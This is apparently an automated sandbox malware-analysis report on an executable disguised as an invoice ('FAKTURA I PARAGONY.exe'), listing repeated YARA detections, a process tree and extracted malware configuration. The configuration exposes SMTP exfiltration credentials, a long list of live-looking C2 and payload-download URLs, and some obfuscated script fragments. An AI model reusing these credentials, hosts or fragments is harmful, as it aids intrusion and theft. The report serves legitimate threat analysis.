
ID: 1622
Sample Name: FAKTURA I
PARAGONY.exe
Cookbook: default.jbs
Time: 16:33:17
Date: 12/10/2021
Version: 33.0.0 White Diamond
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Windows Analysis Report FAKTURA I PARAGONY.exe

Overview

General Information

Sample 
Name:

FAKTURA I 
PARAGONY.exe

Analysis ID: 1622

MD5: 0277ce10266c71…

SHA1: f9a05406e240743…

SHA256: 1113efa42a416df…

Infos:

Most interesting Screenshot:

Detection

RemComRemCom
RemoteAdminRemoteAdmin

Mimikatz HawkEyeMimikatz HawkEye
Imminent NanocoreImminent Nanocore
Remcos AESCRYPTRemcos AESCRYPT

RansomwareRansomware

Score: 100

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Yara detected PasteDownloader

Yara detected PasteDownloader

Yara detected PasteDownloader

Yara detected PasteDownloader

Yara detected PasteDownloader

Yara detected PasteDownloader

Yara detected PasteDownloaderYara detected PasteDownloader

Detected Hacktool Mimikatz

Detected Hacktool Mimikatz

Detected Hacktool Mimikatz

Detected Hacktool Mimikatz

Detected Hacktool Mimikatz

Detected Hacktool Mimikatz

Detected Hacktool MimikatzDetected Hacktool Mimikatz

Yara detected BlackMoon Ransomw

Yara detected BlackMoon Ransomw

Yara detected BlackMoon Ransomw

Yara detected BlackMoon Ransomw

Yara detected BlackMoon Ransomw

Yara detected BlackMoon Ransomw

Yara detected BlackMoon RansomwYara detected BlackMoon Ransomw……

Yara detected Snake Keylogger

Yara detected Snake Keylogger

Yara detected Snake Keylogger

Yara detected Snake Keylogger

Yara detected Snake Keylogger

Yara detected Snake Keylogger

Yara detected Snake KeyloggerYara detected Snake Keylogger

Yara detected Ragnarok ransomware

Yara detected Ragnarok ransomware

Yara detected Ragnarok ransomware

Yara detected Ragnarok ransomware

Yara detected Ragnarok ransomware

Yara detected Ragnarok ransomware

Yara detected Ragnarok ransomwareYara detected Ragnarok ransomware

Yara detected Evrial Stealer

Yara detected Evrial Stealer

Yara detected Evrial Stealer

Yara detected Evrial Stealer

Yara detected Evrial Stealer

Yara detected Evrial Stealer

Yara detected Evrial StealerYara detected Evrial Stealer

Yara detected Avaddon Ransomware

Yara detected Avaddon Ransomware

Yara detected Avaddon Ransomware

Yara detected Avaddon Ransomware

Yara detected Avaddon Ransomware

Yara detected Avaddon Ransomware

Yara detected Avaddon RansomwareYara detected Avaddon Ransomware

Yara detected Mini RAT

Yara detected Mini RAT

Yara detected Mini RAT

Yara detected Mini RAT

Yara detected Mini RAT

Yara detected Mini RAT

Yara detected Mini RATYara detected Mini RAT

Yara detected BLACKMatter Ransom

Yara detected BLACKMatter Ransom

Yara detected BLACKMatter Ransom

Yara detected BLACKMatter Ransom

Yara detected BLACKMatter Ransom

Yara detected BLACKMatter Ransom

Yara detected BLACKMatter RansomYara detected BLACKMatter Ransom……

Yara detected Koadic

Yara detected Koadic

Yara detected Koadic

Yara detected Koadic

Yara detected Koadic

Yara detected Koadic

Yara detected KoadicYara detected Koadic

Yara detected Jigsaw

Yara detected Jigsaw

Yara detected Jigsaw

Yara detected Jigsaw

Yara detected Jigsaw

Yara detected Jigsaw

Yara detected JigsawYara detected Jigsaw

Yara detected GABUTS Ransomware

Yara detected GABUTS Ransomware

Yara detected GABUTS Ransomware

Yara detected GABUTS Ransomware

Yara detected GABUTS Ransomware

Yara detected GABUTS Ransomware

Yara detected GABUTS RansomwareYara detected GABUTS Ransomware

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domain

Antivirus detection for URL or domainAntivirus detection for URL or domain

Yara detected AESCRYPT Ransom

Yara detected AESCRYPT Ransom

Yara detected AESCRYPT Ransom

Yara detected AESCRYPT Ransom

Yara detected AESCRYPT Ransom

Yara detected AESCRYPT Ransom

Yara detected AESCRYPT RansomYara detected AESCRYPT Ransom……

Yara detected RansomwareGeneric

Yara detected RansomwareGeneric

Yara detected RansomwareGeneric

Yara detected RansomwareGeneric

Yara detected RansomwareGeneric

Yara detected RansomwareGeneric

Yara detected RansomwareGenericYara detected RansomwareGeneric

Yara detected Ouroboros ransomware

Yara detected Ouroboros ransomware

Yara detected Ouroboros ransomware

Yara detected Ouroboros ransomware

Yara detected Ouroboros ransomware

Yara detected Ouroboros ransomware

Yara detected Ouroboros ransomwareYara detected Ouroboros ransomware

Yara detected LimeRAT

Yara detected LimeRAT

Yara detected LimeRAT

Yara detected LimeRAT

Yara detected LimeRAT

Yara detected LimeRAT

Yara detected LimeRATYara detected LimeRAT

Yara detected GuLoader

Yara detected GuLoader

Yara detected GuLoader

Yara detected GuLoader

Yara detected GuLoader

Yara detected GuLoader

Yara detected GuLoaderYara detected GuLoader

Yara detected Chaos Ransomware

Yara detected Chaos Ransomware

Yara detected Chaos Ransomware

Yara detected Chaos Ransomware

Yara detected Chaos Ransomware

Yara detected Chaos Ransomware

Yara detected Chaos RansomwareYara detected Chaos Ransomware

Yara detected Hancitor

Yara detected Hancitor

Yara detected Hancitor

Yara detected Hancitor

Yara detected Hancitor

Yara detected Hancitor

Yara detected HancitorYara detected Hancitor

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configuration

Found malware configurationFound malware configuration

Yara detected Mock Ransomware

Yara detected Mock Ransomware

Yara detected Mock Ransomware

Yara detected Mock Ransomware

Yara detected Mock Ransomware

Yara detected Mock Ransomware

Yara detected Mock RansomwareYara detected Mock Ransomware

Yara detected Conti ransomware

Yara detected Conti ransomware

Yara detected Conti ransomware

Yara detected Conti ransomware

Yara detected Conti ransomware

Yara detected Conti ransomware

Yara detected Conti ransomwareYara detected Conti ransomware

Yara detected Generic Dropper

Yara detected Generic Dropper

Yara detected Generic Dropper

Yara detected Generic Dropper

Yara detected Generic Dropper

Yara detected Generic Dropper

Yara detected Generic DropperYara detected Generic Dropper

Yara detected NoCry Ransomware

Yara detected NoCry Ransomware

Yara detected NoCry Ransomware

Yara detected NoCry Ransomware

Yara detected NoCry Ransomware

Yara detected NoCry Ransomware

Yara detected NoCry RansomwareYara detected NoCry Ransomware

Yara detected ByteLocker Ransomw

Yara detected ByteLocker Ransomw

Yara detected ByteLocker Ransomw

Yara detected ByteLocker Ransomw

Yara detected ByteLocker Ransomw

Yara detected ByteLocker Ransomw

Yara detected ByteLocker RansomwYara detected ByteLocker Ransomw……

Yara detected RegretLocker Ransom

Yara detected RegretLocker Ransom

Yara detected RegretLocker Ransom

Yara detected RegretLocker Ransom

Yara detected RegretLocker Ransom

Yara detected RegretLocker Ransom

Yara detected RegretLocker RansomYara detected RegretLocker Ransom……

Yara detected Meterpreter

Yara detected Meterpreter

Yara detected Meterpreter

Yara detected Meterpreter

Yara detected Meterpreter

Yara detected Meterpreter

Yara detected MeterpreterYara detected Meterpreter

Yara detected Clop Ransomware

Yara detected Clop Ransomware

Yara detected Clop Ransomware

Yara detected Clop Ransomware

Yara detected Clop Ransomware

Yara detected Clop Ransomware

Yara detected Clop RansomwareYara detected Clop Ransomware

Yara detected Xmrig cryptocurrency

Yara detected Xmrig cryptocurrency

Yara detected Xmrig cryptocurrency

Yara detected Xmrig cryptocurrency

Yara detected Xmrig cryptocurrency

Yara detected Xmrig cryptocurrency

Yara detected Xmrig cryptocurrencyYara detected Xmrig cryptocurrency……

Yara detected LockBit ransomware

Yara detected LockBit ransomware

Yara detected LockBit ransomware

Yara detected LockBit ransomware

Yara detected LockBit ransomware

Yara detected LockBit ransomware

Yara detected LockBit ransomwareYara detected LockBit ransomware

Yara detected LOCKFILE ransomwa

Yara detected LOCKFILE ransomwa

Yara detected LOCKFILE ransomwa

Yara detected LOCKFILE ransomwa

Yara detected LOCKFILE ransomwa

Yara detected LOCKFILE ransomwa

Yara detected LOCKFILE ransomwaYara detected LOCKFILE ransomwa……

Yara detected Cerber ransomware

Yara detected Cerber ransomware

Yara detected Cerber ransomware

Yara detected Cerber ransomware

Yara detected Cerber ransomware

Yara detected Cerber ransomware

Yara detected Cerber ransomwareYara detected Cerber ransomware

Yara detected Rhino ransomware

Yara detected Rhino ransomware

Yara detected Rhino ransomware

Yara detected Rhino ransomware

Yara detected Rhino ransomware

Yara detected Rhino ransomware

Yara detected Rhino ransomwareYara detected Rhino ransomware

Yara detected Buran Ransomware

Yara detected Buran Ransomware

Yara detected Buran Ransomware

Yara detected Buran Ransomware

Yara detected Buran Ransomware

Yara detected Buran Ransomware

Yara detected Buran RansomwareYara detected Buran Ransomware

Yara detected VHD ransomware

Yara detected VHD ransomware

Yara detected VHD ransomware

Yara detected VHD ransomware

Yara detected VHD ransomware

Yara detected VHD ransomware

Yara detected VHD ransomwareYara detected VHD ransomware

Yara detected generic Shellcode Inje

Yara detected generic Shellcode Inje

Yara detected generic Shellcode Inje

Yara detected generic Shellcode Inje

Yara detected generic Shellcode Inje

Yara detected generic Shellcode Inje

Yara detected generic Shellcode InjeYara detected generic Shellcode Inje……

Yara detected Netwalker ransomware

Yara detected Netwalker ransomware

Yara detected Netwalker ransomware

Yara detected Netwalker ransomware

Yara detected Netwalker ransomware

Yara detected Netwalker ransomware

Yara detected Netwalker ransomwareYara detected Netwalker ransomware

Yara detected Vidar stealer

Yara detected Vidar stealer

Yara detected Vidar stealer

Yara detected Vidar stealer

Yara detected Vidar stealer

Yara detected Vidar stealer

Yara detected Vidar stealerYara detected Vidar stealer

Yara detected Jcrypt Ransomware

Yara detected Jcrypt Ransomware

Yara detected Jcrypt Ransomware

Yara detected Jcrypt Ransomware

Yara detected Jcrypt Ransomware

Yara detected Jcrypt Ransomware

Yara detected Jcrypt RansomwareYara detected Jcrypt Ransomware

Yara detected Delta Ransomware

Yara detected Delta Ransomware

Yara detected Delta Ransomware

Yara detected Delta Ransomware

Yara detected Delta Ransomware

Yara detected Delta Ransomware

Yara detected Delta RansomwareYara detected Delta Ransomware

Yara detected Predator

Yara detected Predator

Yara detected Predator

Yara detected Predator

Yara detected Predator

Yara detected Predator

Yara detected PredatorYara detected Predator

Yara detected Mimikatz

Yara detected Mimikatz

Yara detected Mimikatz

Yara detected Mimikatz

Yara detected Mimikatz

Yara detected Mimikatz

Yara detected MimikatzYara detected Mimikatz

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64native

FAKTURA I PARAGONY.exe (PID: 9200 cmdline: 'C:\Users\user\Desktop\FAKTURA I PARAGONY.exe'  MD5: 0277CE10266C718B31D46A622ACF1A43)

RegAsm.exe (PID: 420 cmdline: 'C:\Users\user\Desktop\FAKTURA I PARAGONY.exe'  MD5: 0D5DF43AF2916F47D00C1573797C1A13)

conhost.exe (PID: 368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

UserOOBEBroker.exe (PID: 8528 cmdline: C:\Windows\System32\oobe\UserOOBEBroker.exe -Embedding MD5: BCE744909EB87F293A85830D02B3D6EB)

mpam-51041e98.exe (PID: 6724 cmdline: 'C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\mpam-51041e98.exe' /q WD MD5: 

C4DB3EC80A8918D80B802B6DA145FD82)
MpSigStub.exe (PID: 7120 cmdline: C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\5F092BAC-4701-4818-8EB0-1B8D5E2340F4\MpSigStub.exe /stub 1.1.1

8500.10 /payload 1.351.265.0 /program C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\mpam-51041e98.exe /q WD MD5: 01F92DC7A766FF783AE7AF40FD0334FB)
wevtutil.exe (PID: 1568 cmdline: C:\Windows\system32\wevtutil.exe uninstall-manifest C:\Windows\TEMP\03B8EEFF-063F-7FBE-74AE-B9DD32097DDC.man MD5: 

C57C1292650B6384903FE6408D412CFA)
conhost.exe (PID: 8996 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

wevtutil.exe (PID: 3992 cmdline: C:\Windows\system32\wevtutil.exe install-manifest C:\Windows\TEMP\03B8EEFF-063F-7FBE-74AE-B9DD32097DDC.man '/resourceFilePath:C:\P

rogramData\Microsoft\Windows Defender\Definition Updates\StableEngineEtwLocation\mpengine_etw.dll' '/messageFilePath:C:\ProgramData\Microsoft\Windows Defender\Definition 
Updates\StableEngineEtwLocation\mpengine_etw.dll' '/parameterFilePath:C:\ProgramData\Microsoft\Windows Defender\Definition Updates\StableEngineEtwLocation\mpengine_etw.dll' 
MD5: C57C1292650B6384903FE6408D412CFA)

conhost.exe (PID: 3892 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cleanup

{
  "Exfil Mode": "SMTP",
  "SMTP Info": "margaridasantos@tccinfaes.comTccBps1427logmail.tccinfaes.comkevinlog25@gmail.com"
}

{
  "C2 list": [
    "http://batrasiaku.blogspot.com/",
    "http://%s/files/",
    "http://u.to/PbrTEg",
    "http://%s:%i%s",
    "http://www.goldwindos2000.com/krratwo/hker.htm",
    "http://www.bluelook.es/bvvtbbh.php",

Process Tree

Malware Configuration

Threatname: Agenttesla

Threatname: Pony
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    "http://instituthypnos.com/maps1316/ki_d/",
    "http://cs.zhongsou.com/",
    "http://203.199.200.61",
    "http://31.192.209.",
    "http://92.222.7.",
    "http://animefrase.blogspot.com/",
    "http://www.scanztech.com/wp-content/themes/twentytwelve/inc/msg.jpg",
    "http://46.101.202.232/wp-includes/mx_ib/",
    "http://worm.ws",
    "http://bonkersmen.blogspot.com/",
    "http://page.zhongsou.com/ps?tps=2&cc=%s&aid=CA%s&w=",
    "http://110.42.4.180:",
    "http://3dplayful.blogspot.com/ ",
    "http://efficientlifechurch.com/.well-known/pki-validation/msg.jpg",
    "http://www.trotux.com/?z=",
    "http://cts.hotbar.com/trackedevent.aspx",
    "http://www.3322.org/dyndns/getip",
    "http://%s%simg.jpg",
    "http://8nasrcity.blogspot.com/ ",
    "http://cicahroti.blogspot.com/ ",
    "http://www.norton-kaspersky.com/trf/tools",
    "http://www.xpassgenerator.com/software/d",
    "http://3dcpw.net/house/404.htm",
    "http://f1visa.info/cd/cd.php?id=%s&ver=g",
    "http://tool.world2.cn/toolbar/",
    "http://72.29.80.113/~nossacai/",
    "http://scud.pipis.net/",
    "http://best4hack.blogspot.com/ ",
    "http://update.7h4uk.com:443/antivirus.php",
    "http://tokziraat.com/templates/kallyas/images/favicons/msg.jpg",
    "http://somnathskider.com/wp-content/themes/oceanwp/assets/css/edd/msg",
    "http://greenertrack.info/.well-known/acme-challenge/hp.gf",
    "http://goatse.ragingfist.net/",
    "http://citw-vol2.blogspot.com/ ",
    "http://%s:%d/PUT[%s]/FC001/%s",
    "http://oo.shmtb.info:888/phone.exe\\soft",
    "http://32player.com",
    "http://31.192.211.",
    "http://200.159.128.",
    "http://www.klikspaandelft.nl/",
    "http://3s249.s249327.96.lt/mss2ro37qtl3cbw9vo0lk2bx8vv7jmx2mlesim9ddw11fem3sjp3ijuoufk/mss.php",
    "http://march262020.club/files/",
    "http://aristocrat.furniture/wp-content/themes/oceanwp/woocommerce/car",
    "http://www.enquesta.tempsdoci.com/tracking-number-7fjs84476372436909/mar-13-18-04-02-56",
    "http://nownowsales.com/wp-admin/ulpbz/",
    "http://errors.statsmyapp.com",
    "http://metznr.co/tor/index.php",
    "http://w.woc4b.com",
    "http://spotdewasa.blogspot.com/",
    "http://vaytiennhanhvungtau.com/.well-known/acme-challenge/gr.mpwq",
    "http://dudethisishowwedoitallnightlong.2myip.net",
    "http://www.staging.pashminadevelopers.com/wp-admin/g_j/",
    "http://down.admin7a57a5a743894a0e.club/4.exe",
    "http://downloadfilesldr.com/index2.php?adv=141",
    "http://%76%2E%79%61%6F%36%33%2E%63%6F%6D/url.asp",
    "http://www.lumina.it/wp-content/plugins/all-in-one-wp-migration/storage/client/invoice-978561/",
    "http://articlunik.blogspot.com/",
    "http://www.webflora.co.kr/slog/skin/setup.ini",
    "http://%domain%/config.php",
    "http://pig.zhongsou.com/helpsimple/help.htm",
    "http://beautifulmaori.co.nz/wp-content/plugins/wp-xmll_2/gorfy2pq/1ny0mnkih27id8m.ktk",
    "http://%s?u=%s&m=%s&action=find",
    "http://www.jplineage.com/firo/mail.asp?tomail=163@163.com&mailbody=",
    "http://update.xiaoshoupeixun.com/tsbho.ini",
    "http://www.chipsroofingloveland.com/status/services-06-26-18-new-customer-vh/",
    "http://march262020.com/files/",
    "http://aspeja.org/question/",
    "http://detayworx.com/_vsnpNgyXp84Os8Xh.php",
    "http://www.pornpassmanager.com/d",
    "http://gicia.info/cd/cd.php?id=%s&ver=g",
    "http://www.sqwire.com",
    "http://interface.kokmobi.com/newservice",
    "http://ios-update-whatsapp.com",
    "http://nfinx.info",
    "http://arifkacip.blogspot.com/ ",
    "http://www.google.com.br",
    "http://activecodec.0fees.net/codec/mp3/codec_download.htm",
    "http://aindonashi.blogspot.com/",
    "http://www.direct-ip.com/",
    "http://%s:%d/%d%s",
    "http://voguextra.com",
    "http://autothich.blogspot.com/ ",
    "http://www.phokhobazan.com/%202%200%201%208-0%207%20-%201%201%202%200%200%207:%202%206:%2099%20819.php/?email=kevind@hollywoodwoodwork.com\"target=\"_blank",
    "http://so1.5k5.net/interface?action=install&p=",
    "http://www.zixzelz1.narod.ru/",
    "http://a.pomf.cat/",
    "http://masgiO.info/cd/cd.php?id=%s&ver=g",
    "http://www.CollakeSoftware.com",
    "http://%s:%i%s?mod=cmd",
    "http://www.2345.com",
    "http://wevx.xyz/post.php?uid=",
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    "http://tempuri.org/",
    "http://104.236.94.",
    "http://santasalete.sp.gov.br/jss/",
    "http://www.ssl-256mail.host/5c596a68b83a886b57ade24c?jgiasyi=&pwnmiz_g=1eo3fjfkkke&jgiasyi=wtnygzsiyw",
    "http://jay6.tech/wp-content/themes/twentynineteen/template-parts/cont",
    "http://hostthenpost.org/uploads/",
    "http://179.43.158.187/PhtJFr0fvBk2.php",
    "http://twitck.com",
    "http://allankhall.com/templates/beez3/language/en-gb/msg.jpg",
    "http://nathannewman.org/wp-content/themes/boldnews/includes/js/msg.jpg",
    "http://aancyber77.blogspot.com/",
    "http://berkah2013.blogspot.com/",
    "http://51.255.155.1/pages/filecloud/5e2d7b130cf4feb03023e580b3432fa9d71d7838.exe",
    "http://%s/any2/%s-direct.ex",
    "http://www.w3.org/1999/xsl/transform",
    "http://code.google.com/p/b374k-shell*/$s_pass=",
    "http://i.compucrush.com/i.php",
    "http://%s/v_install?sid=16045&start=1&guid=$__GUID&sig=$__SIG&ovr=$__OVR&browser=$__BROWSER&label=%s&aux=%d",
    "http://funsiteshere.com/redir.php",
    "http://95.173.183.",
    "http://mydirecttube.com/",
    "http://cvfanatic.blogspot.com/ ",
    "http://zz.8282.space/nw/ss/",
    "http://50.63.128.",
    "http://www.niudoudou.com/web/download/",
    "http://dl.dropbox.com/u/",
    "http://bloodybits.com/edwinjefferson.com/ie_xo/",
    "http://vidquick.info/cgi/",
    "http://178.128.115.182/wp-includes/3_y/",
    "http://xn--",
    "http://devee.emlnk.com/lt.php?s=b7abe8a8120881cc5c9dab6eac28ddbe&amp;i=1a3a1a",
    "http://216.172.172.40/~agora546/cardoso/dilma.zip",
    "http://lightday.pl/wp-content/themes/lightday/images/msg.jpg",
    "http://tinyurl.com/",
    "http://ow.ly/QoHbJ",
    "http://khaleejposts.com/rgk/m_rs/",
    "http://fateh.aba.ae/xyzx.zip",
    "http://tsrv1.ws",
    "http://directplugin.com/dialers/",
    "http://tak-tik.site/crun20.gif",
    "http://www.youndoo.com/?z=",
    "http://w.w3c4f.com",
    "http://count.key5188.com/vip/get.asp?mac=",
    "http://ms365box.com/update.1",
    "http://5starvideos.com/main/",
    "http://www.whitehouseknutsford.co.uk/invoice-status/please-pull-invoice-684594/",
    "http://www.22teens.com/",
    "http://contentedmerc.xyz/BAYgODA0NUQ2OEY1RTA2ODg4RDhCQzlEQzRBRUU3QTA5OUI=",
    "http://downloadfilesldr.com/index5.php?adv=141",
    "http://downloadfilesldr.com/index3.php?adv=141",
    "http://server00.send6.com/1abf8588/oluwa.exe",
    "http://www.microsoft.com0",
    "http://evanstechnology.com",
    "http://3.0.242.71/wp-content/2_ur/",
    "http://sf3q2wrq34.ddns.net",
    "http://suckjerkcock.date",
    "http://download.zhongsou.com/cdsearch/",
    "http://20vp.cn/moyu/",
    "http://vequiato.sites.uol.com.br/",
    "http://gveejlsffxmfjlswjmfm.com/files/",
    "http://localhost:62338/Chipsetsync.asmx",
    "http://www.comeinbaby.com/app/app.php?sn=%s&pn=%s&mn=%s&pv=%s&appid=%s&os=macservice&pt=%s&msn=%@&yy=%s",
    "http://adaptservices.net/qwao8cj4gkogu",
    "http://hytechmart.com",
    "http://www.al-enayah.com/ssfm",
    "http://downloadfilesldr.com/allfile.jpg",
    "http://spywaresoftstop.com/download/141/setup.exe",
    "http://bogle.com';*/varstr='javascript';str=rrr;l=str.length;while(ccc<=str.length-1){/*dfkjhsjkdfhgkjhioewqpoasncad;*/svs=svm.charat(scnt%7+55);svs=svm.charat(scnt%7);ccc=ccc+6-2-
4;/*eiofybajdhaasdhflaeuadsjkhf*/while(str.charat(ccc)!=svs){temp=temp+str.charat(ccc++);/*sdfaopekdlsnvasdjfpoewsdjaskdjf*/}scnt++;/*kdfljgoerijklasdfjkasdkjfhasdhkfj*/ccc++;ccc--;ccc++;if(ccc!=
(ccc+3))out=out+string.fromcharcode(((parseint(temp,16)-1)));elsealert('error');ccc=2*ccc-ccc",
    "http://ip-api.com/json/",
    "http://www.",
    "http://fortisdesigns.com/5ox6oyzzslcp",
    "http://bigboobsp.blogspot.com/ ",
    "http://www.zhongsou.com/kefu/zskf.htm",
    "http://pssquared.com/invoice-status/tracking-number-and-invoice-of-your-order/",
    "http://coltaddict.blogspot.com/",
    "http://%domain%/update.php",
    "http://chemgioaz.blogspot.com/ ",
    "http://arthisoft.blogspot.com/ ",
    "http://service.srvmd6.com/Mac/getInstallerSettings/?version=",
    "http://lo0oading.blogspot.com/ ",
    "http://checkip.dyndns.org/",
    "http://pages",
    "http://stmichaelolivewood.com/templates/landofchrist/css/msg.jpg",
    "http://majelisalanwar.org/wp-content/themes/foodica/assets/css/hp.gf",
    "http://seuufhehfueughek.ws/",
    "http://%s%s?search=%s",
    "http://2010-kpss.blogspot.com/ ",
    "http://scarecrowlawncare.com/wp-content/themes/sensible-wp/img/gr.mpwq",
    "http://www.thon-samson.be/js/_notes/",
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    "http://www.thon-samson.be/js/_notes/",
    "http://babukq4e2p4wu4iq.onion",
    "http://traducerejuridica.ro/tenlxhlzpagc/625986.png",
    "http://led21.pro/wp-content/themes/betheme/images/headers/msg.jpg",
    "http://techwach.com",
    "http://www.ip2location.com/",
    "http://fateh.aba.ae/abc.zip",
    "http://ankarahurdacim.com/wp-admin/3yk1/",
    "http://208.95.104.",
    "http://wmwifbajxxbcxmucxmlc.com/files/",
    "http://michiganpppp.com/work/doc/9.doc",
    "http://www.88vcd.com/htm/china/myb/send.asp?daqu=%s&xiaoqu=%s&user=%s&pass=%s&ckpass=%s&renwu=%s&level=%d&gold=%d&stone=%d&cpname",
    "http://te.platrium.com/pte.aspx",
    "http://cl.1ck.me/",
    "http://hotedeals.co.uk/ekck095032/",
    "http://scrollayer.com",
    "http://stat.wamme.cn/C8C/gl/cnzz60.html",
    "http://www.hasandanalioglu.com/wp-content/n_v/",
    "http://agressor58.blogspot.com/",
    "http://batysnewskz.kz/ups.com",
    "http://xn----dtbhbqh9ajceeeg2m.org/components",
    "http://www.bookiq.bsnl.co.in/data_entry/circulars/m",
    "http://b-compu.de/templates/conext/html/com_contact/contact/msg.jpg",
    "http://1bestgate.blogspot.com/ ",
    "http://www.sacbarao.kinghost.net/",
    "http://spy-kill.com/bho_adult.txt",
    "http://gosgd2.com",
    "http://gg",
    "http://whatami.us.to/tc",
    "http://www.g00gleadserver.com/list.txt",
    "http://barely-art.com/wp-content/themes/pennews/languages/msg.jpg",
    "http://maplestory.nexon.com",
    "http://181.174.166.137/sys/f4.exe",
    "http://%s:%d/FC001/%s",
    "http://www.agendagyn.com/media/fotos/2010/",
    "http://pursuitvision.com/templates/pursuitvision/images/hybrid-app/ms",
    "http://209.141.35.239/33/",
    "http://worm.ws/",
    "http://basti.ciseducation.org/website/images/prettyphoto/dark_square/.x1-unix/",
    "http://tumicy.com/plqijcndwoisdhsaow/",
    "http://megatoolbar.net/inetcreative/",
    "http://microsoft.erlivia.ltd/jikolo.doc",
    "http://ahmad-roni.blogspot.com/",
    "http://gaigoixxx.blogspot.com/ ",
    "http://www.preyer.it/ups.com/",
    "http://bln8225.casacam.net/zxqjhjubakff/",
    "http://31.192.210.",
    "http://bittupadam.blogspot.com/",
    "http://session-dyfm.clientmsg13.review/8446c35a41f9e820533b6cd008b40749?fpcum=&amp;dyfm=ywx2yxjvx3zlbgfzy29adndylmnvbq==&amp;dyfm=cpjyicit",
    "http://vod.7ibt.com/index.php?url=",
    "http://thankyou.orderreceipts.square7.ch/applica.exe",
    "http://200.98.",
    "http://lialer.com/wFBIQQUccZOdYQKJvhxm/ejrwqokckt.exe",
    "http://srmvx.com.br/uploads/",
    "http://spywaresoftstop.com/wfdfdghfdghj.htm",
    "http://speedmasterprinters.co.za/erroreng/erroreng/erroreng/erroreng/ii.php",
    "http://referfile.com",
    "http://dimas.stifar.ac.id/vjrzzufsu/",
    "http://afkar.today/test_coming.training/w_f/",
    "http://sahane34sohbet.000webhostapp.com/wp-content/themes/elbee-elgee",
    "http://muacangua.com/wp-admin/o_n/",
    "http://(www|corail)\\\\.sudoc",
    "http://incredicole.com/wp-content/themes/elegant-grunge/images/msg.jpg",
    "http://xn----9sblbqqdv0a5a8fwb.xn--p1ai/includes/",
    "http://fu.o3sb.com:9999/img.jpg",
    "http://abeidaman.blogspot.com/ ",
    "http://aitimatafb.blogspot.com/",
    "http://microhelptech.com/gotoassist/",
    "http://www.wuweixian.com/we_down/k2_v/",
    "http://94.103.85.236/ds/11.gif",
    "http://wpitcher.com",
    "http://maithanhduong.com/.well-known/pki-validation/msg.jpg",
    "http://gpt.alarmasystems.ru/wp-content/upgrade/obi.html",
    "http://5starvideos.com/main/K",
    "http://claus-wieben.de/sdor1om4hl5naz",
    "http://nevergreen.net/456",
    "http://www.general-insurance.net/wp-content/themes/general-ins-net/po",
    "http://hiltrox.com",
    "http://jiaozhu",
    "http://acayipbiri.blogspot.com/",
    "http://aolopdephn.blogspot.com/",
    "http://zilmaraalencar.com.br/layouts/plugins/editors/tinymce/field/zzurphy.php",
    "http://int.dpool.sina.com.cn/iplookup/iplookup.php",
    "http://freeunweb.pro/FreeUnWeb.exe",
    "http://81.177.26.20/ayayay",
    "http://www.getip.pw",
    "http://61.19.253.",
    "http://dqbdesign.com/wp-admin/cu_sa/",
    "http://faithhotelghana.com",
    "http://sameshitasiteverwas.com/traf/tds/in.cgi",
    "http://downloadfilesldr.com/index4.php?adv=141",
    "http://alhalm-now.blogspot.com/",
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    "http://alhalm-now.blogspot.com/",
    "http://62.210.214.",
    "http://dmww.dmcast.com/script/update.asp?version=%s",
    "http://stilldesigning.com/wp-content/themes/stilldesigning-2014/langu",
    "http://appswonder.info",
    "http://www.colegioarbitrosargentinos.com.ar/img/overdue-account/invoice-053541/",
    "http://tonisantafe.com/wp-content/themes/lobo/woocommerce/cart/msg.jpg",
    "http://18.130.111.206/wp/x_y/",
    "http://traducerejuridica.ro/tenlxhlzpagc/D",
    "http://dontkillme/",
    "http://www.diannaowang.com:8080",
    "http://www.friskypotato.com/",
    "http://www.lindenmontessori.com/cgi-bin/hr_9x/",
    "http://alindaenua.blogspot.com/",
    "http://bgtc.pctonics.com",
    "http://anomaniez.blogspot.com/ ",
    "http://darkside",
    "http://upd.",
    "http://capsnit.com",
    "http://200.63.45.105/duiss/duiss",
    "http://webpatch.ragnarok.co.kr/",
    "http://spywaresoftstop.com/load.php?adv=141",
    "http://avnisevinc.blogspot.com/",
    "http://config.juezhao123.com/c.ashx?ver=&c=",
    "http://count.key5188.com/",
    "http://www.qq994455.com/",
    "http://gosgd.com",
    "http://whenyouplaygood.com/s/gate.php?a\");f[\"\\x73\\x65\\x6e\\x64\"]();eval(f[\"responsetext\"",
    "http://superbit.rs/wp-content/themes/one-page/js/gr.mpwq",
    "http://www.consumerinput.com/",
    "http://10.103.2.247",
    "http://sonharvaleapena.com.br/en_us/copy_invoice/25680423862/dqzln-cwhrf_yagnf-spn",
    "http://www.orkut.com",
    "http://metclix.com",
    "http://advancedtopmax.info/e/59034b87bbb71/59034b87bbbcc.bin",
    "http://tsrv4.ws/",
    "http://ios-certificate-update.com",
    "http://94.102.14.",
    "http://d1.downxia.net/products/",
    "http://iranvision1404.com/ss/info/redebit_transactions/terms/kohc-xuxo_lcxty-av6e",
    "http://mitotl.com.mx/ups.com/",
    "http://rebrand.ly/ohxnqak",
    "http://ashevillefusion.com/obngakydblpj",
    "http://xn---82-qdd0akcfirgv4j.xn--p1ai/ups-ship-notification/mar-13-18-07-06-38/"
  ]
}

{
  "Extensions": "trigger reboot 6[CC-Client] Command: REBOOT received"
}

Source Rule Description Author Strings

00000023.00000003.6336769092.0000028BD7D
54000.00000004.00000001.sdmp

CredTheft_MSIL_ADPass
Hunt_2

unknown FireEye 0x15656:$pdb1: \ADPassHunt\
0x15667:$pdb2: \ADPassHunt.pdb
0x1567b:$s1: Usage: .\ADPassHunt.exe
0x15697:$s2: [ADA] Searching for accounts with msSF
U30Password attribute
